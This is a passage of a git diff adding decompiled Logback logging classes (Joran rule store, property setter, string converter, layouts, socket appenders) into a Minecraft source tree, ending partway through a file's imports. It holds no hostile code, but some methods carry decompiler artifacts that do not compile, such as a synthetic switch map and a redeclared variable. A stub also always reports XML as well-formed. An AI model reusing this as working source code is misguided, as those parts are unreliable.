+        cai.addError("ActionException in Action for tag [" + tagName + "]", e);
+      } catch (RuntimeException e) {
+        skip = elementPath.duplicate();
+        cai.addError("RuntimeException in Action for tag [" + tagName + "]", e);
+      }
+    }
+  }
+  
+  private void callBodyAction(List<Action> applicableActionList, String body) {
+    if (applicableActionList == null) {
+      return;
+    }
+    Iterator<Action> i = applicableActionList.iterator();
+    
+    while (i.hasNext()) {
+      Action action = (Action)i.next();
+      try {
+        action.body(interpretationContext, body);
+      } catch (ActionException ae) {
+        cai.addError("Exception in end() methd for action [" + action + "]", ae);
+      }
+    }
+  }
+  
+
+  private void callEndAction(List<Action> applicableActionList, String tagName)
+  {
+    if (applicableActionList == null) {
+      return;
+    }
+    
+
+    Iterator<Action> i = applicableActionList.iterator();
+    
+    while (i.hasNext()) {
+      Action action = (Action)i.next();
+      
+      try
+      {
+        action.end(interpretationContext, tagName);
+      }
+      catch (ActionException ae)
+      {
+        cai.addError("ActionException in Action for tag [" + tagName + "]", ae);
+      }
+      catch (RuntimeException e) {
+        cai.addError("RuntimeException in Action for tag [" + tagName + "]", e);
+      }
+    }
+  }
+  
+  public RuleStore getRuleStore() {
+    return ruleStore;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/JoranException.java b/src/minecraft/ch/qos/logback/core/joran/spi/JoranException.java
new file mode 100644
index 0000000..0ce8139
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/JoranException.java
@@ -0,0 +1,27 @@
+package ch.qos.logback.core.joran.spi;
+
+
+
+
+
+
+
+public class JoranException
+  extends Exception
+{
+  private static final long serialVersionUID = 1112493363728774021L;
+  
+
+
+
+
+
+  public JoranException(String msg)
+  {
+    super(msg);
+  }
+  
+  public JoranException(String msg, Throwable cause) {
+    super(msg, cause);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/NoAutoStart.java b/src/minecraft/ch/qos/logback/core/joran/spi/NoAutoStart.java
new file mode 100644
index 0000000..b16c075
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/NoAutoStart.java
@@ -0,0 +1,10 @@
+package ch.qos.logback.core.joran.spi;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.TYPE})
+public @interface NoAutoStart {}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/NoAutoStartUtil.java b/src/minecraft/ch/qos/logback/core/joran/spi/NoAutoStartUtil.java
new file mode 100644
index 0000000..9e58b1b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/NoAutoStartUtil.java
@@ -0,0 +1,33 @@
+package ch.qos.logback.core.joran.spi;
+
+
+
+
+
+
+
+
+
+
+public class NoAutoStartUtil
+{
+  public NoAutoStartUtil() {}
+  
+
+
+
+
+
+
+
+
+  public static boolean notMarkedWithNoAutoStart(Object o)
+  {
+    if (o == null) {
+      return false;
+    }
+    Class<?> clazz = o.getClass();
+    NoAutoStart a = (NoAutoStart)clazz.getAnnotation(NoAutoStart.class);
+    return a == null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/RuleStore.java b/src/minecraft/ch/qos/logback/core/joran/spi/RuleStore.java
new file mode 100644
index 0000000..14fcff9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/RuleStore.java
@@ -0,0 +1,14 @@
+package ch.qos.logback.core.joran.spi;
+
+import ch.qos.logback.core.joran.action.Action;
+import java.util.List;
+
+public abstract interface RuleStore
+{
+  public abstract void addRule(ElementSelector paramElementSelector, String paramString)
+    throws ClassNotFoundException;
+  
+  public abstract void addRule(ElementSelector paramElementSelector, Action paramAction);
+  
+  public abstract List<Action> matchActions(ElementPath paramElementPath);
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/SimpleRuleStore.java b/src/minecraft/ch/qos/logback/core/joran/spi/SimpleRuleStore.java
new file mode 100644
index 0000000..f80375f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/SimpleRuleStore.java
@@ -0,0 +1,209 @@
+package ch.qos.logback.core.joran.spi;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SimpleRuleStore
+  extends ContextAwareBase
+  implements RuleStore
+{
+  static String KLEENE_STAR = "*";
+  
+
+  HashMap<ElementSelector, List<Action>> rules = new HashMap();
+  
+
+
+  public SimpleRuleStore(Context context)
+  {
+    setContext(context);
+  }
+  
+
+
+
+  public void addRule(ElementSelector elementSelector, Action action)
+  {
+    action.setContext(context);
+    
+    List<Action> a4p = (List)rules.get(elementSelector);
+    
+    if (a4p == null) {
+      a4p = new ArrayList();
+      rules.put(elementSelector, a4p);
+    }
+    
+    a4p.add(action);
+  }
+  
+  public void addRule(ElementSelector elementSelector, String actionClassName) {
+    Action action = null;
+    try
+    {
+      action = (Action)OptionHelper.instantiateByClassName(actionClassName, Action.class, context);
+    }
+    catch (Exception e) {
+      addError("Could not instantiate class [" + actionClassName + "]", e);
+    }
+    if (action != null) {
+      addRule(elementSelector, action);
+    }
+  }
+  
+
+
+
+
+  public List<Action> matchActions(ElementPath elementPath)
+  {
+    List<Action> actionList;
+    
+
+
+    if ((actionList = fullPathMatch(elementPath)) != null)
+      return actionList;
+    if ((actionList = suffixMatch(elementPath)) != null)
+      return actionList;
+    if ((actionList = prefixMatch(elementPath)) != null)
+      return actionList;
+    if ((actionList = middleMatch(elementPath)) != null) {
+      return actionList;
+    }
+    return null;
+  }
+  
+  List<Action> fullPathMatch(ElementPath elementPath)
+  {
+    for (ElementSelector selector : rules.keySet()) {
+      if (selector.fullPathMatch(elementPath))
+        return (List)rules.get(selector);
+    }
+    return null;
+  }
+  
+  List<Action> suffixMatch(ElementPath elementPath)
+  {
+    int max = 0;
+    ElementSelector longestMatchingElementSelector = null;
+    
+    for (ElementSelector selector : rules.keySet()) {
+      if (isSuffixPattern(selector)) {
+        int r = selector.getTailMatchLength(elementPath);
+        if (r > max) {
+          max = r;
+          longestMatchingElementSelector = selector;
+        }
+      }
+    }
+    
+    if (longestMatchingElementSelector != null) {
+      return (List)rules.get(longestMatchingElementSelector);
+    }
+    return null;
+  }
+  
+  private boolean isSuffixPattern(ElementSelector p)
+  {
+    return (p.size() > 1) && (p.get(0).equals(KLEENE_STAR));
+  }
+  
+  List<Action> prefixMatch(ElementPath elementPath) {
+    int max = 0;
+    ElementSelector longestMatchingElementSelector = null;
+    
+    for (ElementSelector selector : rules.keySet()) {
+      String last = selector.peekLast();
+      if (isKleeneStar(last)) {
+        int r = selector.getPrefixMatchLength(elementPath);
+        
+        if ((r == selector.size() - 1) && (r > max)) {
+          max = r;
+          longestMatchingElementSelector = selector;
+        }
+      }
+    }
+    
+    if (longestMatchingElementSelector != null) {
+      return (List)rules.get(longestMatchingElementSelector);
+    }
+    return null;
+  }
+  
+  private boolean isKleeneStar(String last)
+  {
+    return KLEENE_STAR.equals(last);
+  }
+  
+  List<Action> middleMatch(ElementPath path)
+  {
+    int max = 0;
+    ElementSelector longestMatchingElementSelector = null;
+    
+    for (ElementSelector selector : rules.keySet()) {
+      String last = selector.peekLast();
+      String first = null;
+      if (selector.size() > 1) {
+        first = selector.get(0);
+      }
+      if ((isKleeneStar(last)) && (isKleeneStar(first))) {
+        List<String> copyOfPartList = selector.getCopyOfPartList();
+        if (copyOfPartList.size() > 2) {
+          copyOfPartList.remove(0);
+          copyOfPartList.remove(copyOfPartList.size() - 1);
+        }
+        
+        int r = 0;
+        ElementSelector clone = new ElementSelector(copyOfPartList);
+        if (clone.isContainedIn(path)) {
+          r = clone.size();
+        }
+        if (r > max) {
+          max = r;
+          longestMatchingElementSelector = selector;
+        }
+      }
+    }
+    
+    if (longestMatchingElementSelector != null) {
+      return (List)rules.get(longestMatchingElementSelector);
+    }
+    return null;
+  }
+  
+
+  public String toString()
+  {
+    String TAB = "  ";
+    
+    StringBuilder retValue = new StringBuilder();
+    
+    retValue.append("SimpleRuleStore ( ").append("rules = ").append(rules).append("  ").append(" )");
+    
+
+    return retValue.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/spi/XMLUtil.java b/src/minecraft/ch/qos/logback/core/joran/spi/XMLUtil.java
new file mode 100644
index 0000000..bc71bbe
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/spi/XMLUtil.java
@@ -0,0 +1,29 @@
+package ch.qos.logback.core.joran.spi;
+
+import ch.qos.logback.core.status.StatusManager;
+import java.net.URL;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class XMLUtil
+{
+  public static final int ILL_FORMED = 1;
+  public static final int UNRECOVERABLE_ERROR = 2;
+  
+  public XMLUtil() {}
+  
+  public static int checkIfWellFormed(URL url, StatusManager sm)
+  {
+    return 0;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/util/ConfigurationWatchListUtil.java b/src/minecraft/ch/qos/logback/core/joran/util/ConfigurationWatchListUtil.java
new file mode 100644
index 0000000..633fc36
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/util/ConfigurationWatchListUtil.java
@@ -0,0 +1,102 @@
+package ch.qos.logback.core.joran.util;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.spi.ConfigurationWatchList;
+import ch.qos.logback.core.status.InfoStatus;
+import ch.qos.logback.core.status.Status;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.status.WarnStatus;
+import java.io.PrintStream;
+import java.net.URL;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ConfigurationWatchListUtil
+{
+  static final ConfigurationWatchListUtil origin = new ConfigurationWatchListUtil();
+  
+  private ConfigurationWatchListUtil() {}
+  
+  public static void setMainWatchURL(Context context, URL url)
+  {
+    ConfigurationWatchList cwl = getConfigurationWatchList(context);
+    if (cwl == null) {
+      cwl = new ConfigurationWatchList();
+      cwl.setContext(context);
+      context.putObject("CONFIGURATION_WATCH_LIST", cwl);
+    } else {
+      cwl.clear();
+    }
+    setConfigurationWatchListResetFlag(context, true);
+    cwl.setMainURL(url);
+  }
+  
+  public static URL getMainWatchURL(Context context) {
+    ConfigurationWatchList cwl = getConfigurationWatchList(context);
+    if (cwl == null) {
+      return null;
+    }
+    return cwl.getMainURL();
+  }
+  
+  public static void addToWatchList(Context context, URL url)
+  {
+    ConfigurationWatchList cwl = getConfigurationWatchList(context);
+    if (cwl == null) {
+      addWarn(context, "Null ConfigurationWatchList. Cannot add " + url);
+    } else {
+      addInfo(context, "Adding [" + url + "] to configuration watch list.");
+      cwl.addToWatchList(url);
+    }
+  }
+  
+  public static boolean wasConfigurationWatchListReset(Context context) {
+    Object o = context.getObject("CONFIGURATION_WATCH_LIST_RESET");
+    if (o == null) {
+      return false;
+    }
+    return ((Boolean)o).booleanValue();
+  }
+  
+  public static void setConfigurationWatchListResetFlag(Context context, boolean val)
+  {
+    context.putObject("CONFIGURATION_WATCH_LIST_RESET", new Boolean(val));
+  }
+  
+  public static ConfigurationWatchList getConfigurationWatchList(Context context) {
+    return (ConfigurationWatchList)context.getObject("CONFIGURATION_WATCH_LIST");
+  }
+  
+  static void addStatus(Context context, Status s) {
+    if (context == null) {
+      System.out.println("Null context in " + ConfigurationWatchList.class.getName());
+      return;
+    }
+    StatusManager sm = context.getStatusManager();
+    if (sm == null) return;
+    sm.add(s);
+  }
+  
+  static void addInfo(Context context, String msg) {
+    addStatus(context, new InfoStatus(msg, origin));
+  }
+  
+  static void addWarn(Context context, String msg) {
+    addStatus(context, new WarnStatus(msg, origin));
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/util/PropertySetter.java b/src/minecraft/ch/qos/logback/core/joran/util/PropertySetter.java
new file mode 100644
index 0000000..bad9ecd
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/util/PropertySetter.java
@@ -0,0 +1,493 @@
+package ch.qos.logback.core.joran.util;
+
+import ch.qos.logback.core.joran.spi.DefaultClass;
+import ch.qos.logback.core.joran.spi.DefaultNestedComponentRegistry;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.util.AggregationType;
+import ch.qos.logback.core.util.PropertySetterException;
+import java.beans.BeanInfo;
+import java.beans.IntrospectionException;
+import java.beans.Introspector;
+import java.beans.MethodDescriptor;
+import java.beans.PropertyDescriptor;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PropertySetter
+  extends ContextAwareBase
+{
+  protected Object obj;
+  protected Class<?> objClass;
+  protected PropertyDescriptor[] propertyDescriptors;
+  protected MethodDescriptor[] methodDescriptors;
+  
+  public PropertySetter(Object obj)
+  {
+    this.obj = obj;
+    objClass = obj.getClass();
+  }
+  
+
+
+  protected void introspect()
+  {
+    try
+    {
+      BeanInfo bi = Introspector.getBeanInfo(obj.getClass());
+      propertyDescriptors = bi.getPropertyDescriptors();
+      methodDescriptors = bi.getMethodDescriptors();
+    } catch (IntrospectionException ex) {
+      addError("Failed to introspect " + obj + ": " + ex.getMessage());
+      propertyDescriptors = new PropertyDescriptor[0];
+      methodDescriptors = new MethodDescriptor[0];
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setProperty(String name, String value)
+  {
+    if (value == null) {
+      return;
+    }
+    
+    name = Introspector.decapitalize(name);
+    
+    PropertyDescriptor prop = getPropertyDescriptor(name);
+    
+    if (prop == null) {
+      addWarn("No such property [" + name + "] in " + objClass.getName() + ".");
+    } else {
+      try {
+        setProperty(prop, name, value);
+      } catch (PropertySetterException ex) {
+        addWarn("Failed to set property [" + name + "] to value \"" + value + "\". ", ex);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setProperty(PropertyDescriptor prop, String name, String value)
+    throws PropertySetterException
+  {
+    Method setter = prop.getWriteMethod();
+    
+    if (setter == null) {
+      throw new PropertySetterException("No setter for property [" + name + "].");
+    }
+    
+
+    Class<?>[] paramTypes = setter.getParameterTypes();
+    
+    if (paramTypes.length != 1) {
+      throw new PropertySetterException("#params for setter != 1");
+    }
+    
+    Object arg;
+    try
+    {
+      arg = StringToObjectConverter.convertArg(this, value, paramTypes[0]);
+    } catch (Throwable t) {
+      throw new PropertySetterException("Conversion to type [" + paramTypes[0] + "] failed. ", t);
+    }
+    
+
+    if (arg == null) {
+      throw new PropertySetterException("Conversion to type [" + paramTypes[0] + "] failed.");
+    }
+    try
+    {
+      setter.invoke(obj, new Object[] { arg });
+    } catch (Exception ex) {
+      throw new PropertySetterException(ex);
+    }
+  }
+  
+  public AggregationType computeAggregationType(String name) {
+    String cName = capitalizeFirstLetter(name);
+    
+    Method addMethod = findAdderMethod(cName);
+    
+
+    if (addMethod != null) {
+      AggregationType type = computeRawAggregationType(addMethod);
+      switch (1.$SwitchMap$ch$qos$logback$core$util$AggregationType[type.ordinal()]) {
+      case 1: 
+        return AggregationType.NOT_FOUND;
+      case 2: 
+        return AggregationType.AS_BASIC_PROPERTY_COLLECTION;
+      case 3: 
+        return AggregationType.AS_COMPLEX_PROPERTY_COLLECTION;
+      }
+      
+    }
+    Method setterMethod = findSetterMethod(name);
+    if (setterMethod != null) {
+      return computeRawAggregationType(setterMethod);
+    }
+    
+    return AggregationType.NOT_FOUND;
+  }
+  
+  private Method findAdderMethod(String name)
+  {
+    name = capitalizeFirstLetter(name);
+    return getMethod("add" + name);
+  }
+  
+  private Method findSetterMethod(String name) {
+    String dName = Introspector.decapitalize(name);
+    PropertyDescriptor propertyDescriptor = getPropertyDescriptor(dName);
+    if (propertyDescriptor != null) {
+      return propertyDescriptor.getWriteMethod();
+    }
+    return null;
+  }
+  
+  private Class<?> getParameterClassForMethod(Method method)
+  {
+    if (method == null) {
+      return null;
+    }
+    Class<?>[] classArray = method.getParameterTypes();
+    if (classArray.length != 1) {
+      return null;
+    }
+    return classArray[0];
+  }
+  
+  private AggregationType computeRawAggregationType(Method method)
+  {
+    Class<?> parameterClass = getParameterClassForMethod(method);
+    if (parameterClass == null) {
+      return AggregationType.NOT_FOUND;
+    }
+    if (StringToObjectConverter.canBeBuiltFromSimpleString(parameterClass)) {
+      return AggregationType.AS_BASIC_PROPERTY;
+    }
+    return AggregationType.AS_COMPLEX_PROPERTY;
+  }
+  
+
+
+
+
+
+
+
+  private boolean isUnequivocallyInstantiable(Class<?> clazz)
+  {
+    if (clazz.isInterface()) {
+      return false;
+    }
+    
+
+
+    try
+    {
+      Object o = clazz.newInstance();
+      if (o != null) {
+        return true;
+      }
+      return false;
+    }
+    catch (InstantiationException e) {
+      return false;
+    } catch (IllegalAccessException e) {}
+    return false;
+  }
+  
+  public Class<?> getObjClass()
+  {
+    return objClass;
+  }
+  
+  public void addComplexProperty(String name, Object complexProperty) {
+    Method adderMethod = findAdderMethod(name);
+    
+    if (adderMethod != null) {
+      Class<?>[] paramTypes = adderMethod.getParameterTypes();
+      if (!isSanityCheckSuccessful(name, adderMethod, paramTypes, complexProperty))
+      {
+        return;
+      }
+      invokeMethodWithSingleParameterOnThisObject(adderMethod, complexProperty);
+    } else {
+      addError("Could not find method [add" + name + "] in class [" + objClass.getName() + "].");
+    }
+  }
+  
+
+  void invokeMethodWithSingleParameterOnThisObject(Method method, Object parameter)
+  {
+    Class<?> ccc = parameter.getClass();
+    try {
+      method.invoke(obj, new Object[] { parameter });
+    } catch (Exception e) {
+      addError("Could not invoke method " + method.getName() + " in class " + obj.getClass().getName() + " with parameter of type " + ccc.getName(), e);
+    }
+  }
+  
+
+
+  public void addBasicProperty(String name, String strValue)
+  {
+    if (strValue == null) {
+      return;
+    }
+    
+    name = capitalizeFirstLetter(name);
+    Method adderMethod = findAdderMethod(name);
+    
+    if (adderMethod == null) {
+      addError("No adder for property [" + name + "].");
+      return;
+    }
+    
+    Class<?>[] paramTypes = adderMethod.getParameterTypes();
+    isSanityCheckSuccessful(name, adderMethod, paramTypes, strValue);
+    Object arg;
+    try
+    {
+      arg = StringToObjectConverter.convertArg(this, strValue, paramTypes[0]);
+    } catch (Throwable t) {
+      addError("Conversion to type [" + paramTypes[0] + "] failed. ", t);
+      return;
+    }
+    if (arg != null) {
+      invokeMethodWithSingleParameterOnThisObject(adderMethod, strValue);
+    }
+  }
+  
+  public void setComplexProperty(String name, Object complexProperty) {
+    String dName = Introspector.decapitalize(name);
+    PropertyDescriptor propertyDescriptor = getPropertyDescriptor(dName);
+    
+    if (propertyDescriptor == null) {
+      addWarn("Could not find PropertyDescriptor for [" + name + "] in " + objClass.getName());
+      
+
+      return;
+    }
+    
+    Method setter = propertyDescriptor.getWriteMethod();
+    
+    if (setter == null) {
+      addWarn("Not setter method for property [" + name + "] in " + obj.getClass().getName());
+      
+
+      return;
+    }
+    
+    Class<?>[] paramTypes = setter.getParameterTypes();
+    
+    if (!isSanityCheckSuccessful(name, setter, paramTypes, complexProperty)) {
+      return;
+    }
+    try {
+      invokeMethodWithSingleParameterOnThisObject(setter, complexProperty);
+    }
+    catch (Exception e) {
+      addError("Could not set component " + obj + " for parent component " + obj, e);
+    }
+  }
+  
+
+  private boolean isSanityCheckSuccessful(String name, Method method, Class<?>[] params, Object complexProperty)
+  {
+    Class<?> ccc = complexProperty.getClass();
+    if (params.length != 1) {
+      addError("Wrong number of parameters in setter method for property [" + name + "] in " + obj.getClass().getName());
+      
+
+      return false;
+    }
+    
+    if (!params[0].isAssignableFrom(complexProperty.getClass())) {
+      addError("A \"" + ccc.getName() + "\" object is not assignable to a \"" + params[0].getName() + "\" variable.");
+      
+      addError("The class \"" + params[0].getName() + "\" was loaded by ");
+      addError("[" + params[0].getClassLoader() + "] whereas object of type ");
+      addError("\"" + ccc.getName() + "\" was loaded by [" + ccc.getClassLoader() + "].");
+      
+      return false;
+    }
+    
+    return true;
+  }
+  
+  private String capitalizeFirstLetter(String name) {
+    return name.substring(0, 1).toUpperCase() + name.substring(1);
+  }
+  
+  protected Method getMethod(String methodName) {
+    if (methodDescriptors == null) {
+      introspect();
+    }
+    
+    for (int i = 0; i < methodDescriptors.length; i++) {
+      if (methodName.equals(methodDescriptors[i].getName())) {
+        return methodDescriptors[i].getMethod();
+      }
+    }
+    
+    return null;
+  }
+  
+  protected PropertyDescriptor getPropertyDescriptor(String name) {
+    if (propertyDescriptors == null) {
+      introspect();
+    }
+    
+    for (int i = 0; i < propertyDescriptors.length; i++)
+    {
+
+      if (name.equals(propertyDescriptors[i].getName()))
+      {
+        return propertyDescriptors[i];
+      }
+    }
+    
+    return null;
+  }
+  
+  public Object getObj() {
+    return obj;
+  }
+  
+  Method getRelevantMethod(String name, AggregationType aggregationType) {
+    String cName = capitalizeFirstLetter(name);
+    Method relevantMethod;
+    if (aggregationType == AggregationType.AS_COMPLEX_PROPERTY_COLLECTION) {
+      relevantMethod = findAdderMethod(cName); } else { Method relevantMethod;
+      if (aggregationType == AggregationType.AS_COMPLEX_PROPERTY) {
+        relevantMethod = findSetterMethod(cName);
+      } else
+        throw new IllegalStateException(aggregationType + " not allowed here"); }
+    Method relevantMethod;
+    return relevantMethod;
+  }
+  
+
+  <T extends Annotation> T getAnnotation(String name, Class<T> annonationClass, Method relevantMethod)
+  {
+    if (relevantMethod != null) {
+      return relevantMethod.getAnnotation(annonationClass);
+    }
+    return null;
+  }
+  
+  Class<?> getDefaultClassNameByAnnonation(String name, Method relevantMethod)
+  {
+    DefaultClass defaultClassAnnon = (DefaultClass)getAnnotation(name, DefaultClass.class, relevantMethod);
+    
+    if (defaultClassAnnon != null) {
+      return defaultClassAnnon.value();
+    }
+    return null;
+  }
+  
+  Class<?> getByConcreteType(String name, Method relevantMethod)
+  {
+    Class<?> paramType = getParameterClassForMethod(relevantMethod);
+    if (paramType == null) {
+      return null;
+    }
+    
+    boolean isUnequivocallyInstantiable = isUnequivocallyInstantiable(paramType);
+    if (isUnequivocallyInstantiable) {
+      return paramType;
+    }
+    return null;
+  }
+  
+
+
+
+  public Class<?> getClassNameViaImplicitRules(String name, AggregationType aggregationType, DefaultNestedComponentRegistry registry)
+  {
+    Class<?> registryResult = registry.findDefaultComponentType(obj.getClass(), name);
+    
+    if (registryResult != null) {
+      return registryResult;
+    }
+    
+    Method relevantMethod = getRelevantMethod(name, aggregationType);
+    if (relevantMethod == null) {
+      return null;
+    }
+    Class<?> byAnnotation = getDefaultClassNameByAnnonation(name, relevantMethod);
+    if (byAnnotation != null) {
+      return byAnnotation;
+    }
+    return getByConcreteType(name, relevantMethod);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/util/StringToObjectConverter.java b/src/minecraft/ch/qos/logback/core/joran/util/StringToObjectConverter.java
new file mode 100644
index 0000000..23b32a9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/util/StringToObjectConverter.java
@@ -0,0 +1,137 @@
+package ch.qos.logback.core.joran.util;
+
+import ch.qos.logback.core.spi.ContextAware;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.nio.charset.Charset;
+import java.nio.charset.UnsupportedCharsetException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StringToObjectConverter
+{
+  public StringToObjectConverter() {}
+  
+  private static final Class<?>[] STING_CLASS_PARAMETER = { String.class };
+  
+  public static boolean canBeBuiltFromSimpleString(Class<?> parameterClass) {
+    Package p = parameterClass.getPackage();
+    if (parameterClass.isPrimitive())
+      return true;
+    if ((p != null) && ("java.lang".equals(p.getName())))
+      return true;
+    if (followsTheValueOfConvention(parameterClass))
+      return true;
+    if (parameterClass.isEnum())
+      return true;
+    if (isOfTypeCharset(parameterClass)) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+  public static Object convertArg(ContextAware ca, String val, Class<?> type)
+  {
+    if (val == null) {
+      return null;
+    }
+    String v = val.trim();
+    if (String.class.isAssignableFrom(type))
+      return v;
+    if (Integer.TYPE.isAssignableFrom(type))
+      return new Integer(v);
+    if (Long.TYPE.isAssignableFrom(type))
+      return new Long(v);
+    if (Float.TYPE.isAssignableFrom(type))
+      return new Float(v);
+    if (Double.TYPE.isAssignableFrom(type))
+      return new Double(v);
+    if (Boolean.TYPE.isAssignableFrom(type)) {
+      if ("true".equalsIgnoreCase(v))
+        return Boolean.TRUE;
+      if ("false".equalsIgnoreCase(v))
+        return Boolean.FALSE;
+    } else {
+      if (type.isEnum())
+        return convertToEnum(ca, v, type);
+      if (followsTheValueOfConvention(type))
+        return convertByValueOfMethod(ca, type, v);
+      if (isOfTypeCharset(type)) {
+        return convertToCharset(ca, val);
+      }
+    }
+    return null;
+  }
+  
+  private static boolean isOfTypeCharset(Class<?> type) {
+    return Charset.class.isAssignableFrom(type);
+  }
+  
+  private static Charset convertToCharset(ContextAware ca, String val) {
+    try {
+      return Charset.forName(val);
+    } catch (UnsupportedCharsetException e) {
+      ca.addError("Failed to get charset [" + val + "]", e); }
+    return null;
+  }
+  
+  private static boolean followsTheValueOfConvention(Class<?> parameterClass)
+  {
+    try {
+      Method valueOfMethod = parameterClass.getMethod("valueOf", STING_CLASS_PARAMETER);
+      
+      int mod = valueOfMethod.getModifiers();
+      if (Modifier.isStatic(mod)) {
+        return true;
+      }
+    }
+    catch (SecurityException e) {}catch (NoSuchMethodException e) {}
+    
+
+
+    return false;
+  }
+  
+  private static Object convertByValueOfMethod(ContextAware ca, Class<?> type, String val)
+  {
+    try {
+      Method valueOfMethod = type.getMethod("valueOf", STING_CLASS_PARAMETER);
+      
+      return valueOfMethod.invoke(null, new Object[] { val });
+    } catch (Exception e) {
+      ca.addError("Failed to invoke valueOf{} method in class [" + type.getName() + "] with value [" + val + "]");
+    }
+    
+    return null;
+  }
+  
+
+
+  private static Object convertToEnum(ContextAware ca, String val, Class<? extends Enum> enumType)
+  {
+    return Enum.valueOf(enumType, val);
+  }
+  
+  boolean isBuildableFromSimpleString() {
+    return false;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/layout/EchoLayout.java b/src/minecraft/ch/qos/logback/core/layout/EchoLayout.java
new file mode 100644
index 0000000..cde335e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/layout/EchoLayout.java
@@ -0,0 +1,29 @@
+package ch.qos.logback.core.layout;
+
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.LayoutBase;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EchoLayout<E>
+  extends LayoutBase<E>
+{
+  public EchoLayout() {}
+  
+  public String doLayout(E event)
+  {
+    return event + CoreConstants.LINE_SEPARATOR;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/AbstractSSLSocketAppender.java b/src/minecraft/ch/qos/logback/core/net/AbstractSSLSocketAppender.java
new file mode 100644
index 0000000..137b32b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/AbstractSSLSocketAppender.java
@@ -0,0 +1,89 @@
+package ch.qos.logback.core.net;
+
+import ch.qos.logback.core.net.ssl.ConfigurableSSLSocketFactory;
+import ch.qos.logback.core.net.ssl.SSLComponent;
+import ch.qos.logback.core.net.ssl.SSLConfiguration;
+import ch.qos.logback.core.net.ssl.SSLParametersConfiguration;
+import javax.net.SocketFactory;
+import javax.net.ssl.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractSSLSocketAppender<E>
+  extends AbstractSocketAppender<E>
+  implements SSLComponent
+{
+  private SSLConfiguration ssl;
+  private SocketFactory socketFactory;
+  
+  protected AbstractSSLSocketAppender() {}
+  
+  protected SocketFactory getSocketFactory()
+  {
+    return socketFactory;
+  }
+  
+
+
+  public void start()
+  {
+    try
+    {
+      SSLContext sslContext = getSsl().createContext(this);
+      SSLParametersConfiguration parameters = getSsl().getParameters();
+      parameters.setContext(getContext());
+      socketFactory = new ConfigurableSSLSocketFactory(parameters, sslContext.getSocketFactory());
+      
+      super.start();
+    }
+    catch (Exception ex) {
+      addError(ex.getMessage(), ex);
+    }
+  }
+  
+
+
+
+
+  public SSLConfiguration getSsl()
+  {
+    if (ssl == null) {
+      ssl = new SSLConfiguration();
+    }
+    return ssl;
+  }
+  
+
+
+
+  public void setSsl(SSLConfiguration ssl)
+  {
+    this.ssl = ssl;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/AbstractSocketAppender.java b/src/minecraft/ch/qos/logback/core/net/AbstractSocketAppender.java
new file mode 100644
index 0000000..17cc022
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/AbstractSocketAppender.java
@@ -0,0 +1,403 @@
+package ch.qos.logback.core.net;
+
+import ch.qos.logback.core.AppenderBase;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.spi.PreSerializationTransformer;
+import ch.qos.logback.core.util.CloseUtil;
+import ch.qos.logback.core.util.Duration;
+import java.io.IOException;
+import java.io.Serializable;
+import java.net.ConnectException;
+import java.net.InetAddress;
+import java.net.Socket;
+import java.net.UnknownHostException;
+import java.util.concurrent.BlockingDeque;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import javax.net.SocketFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
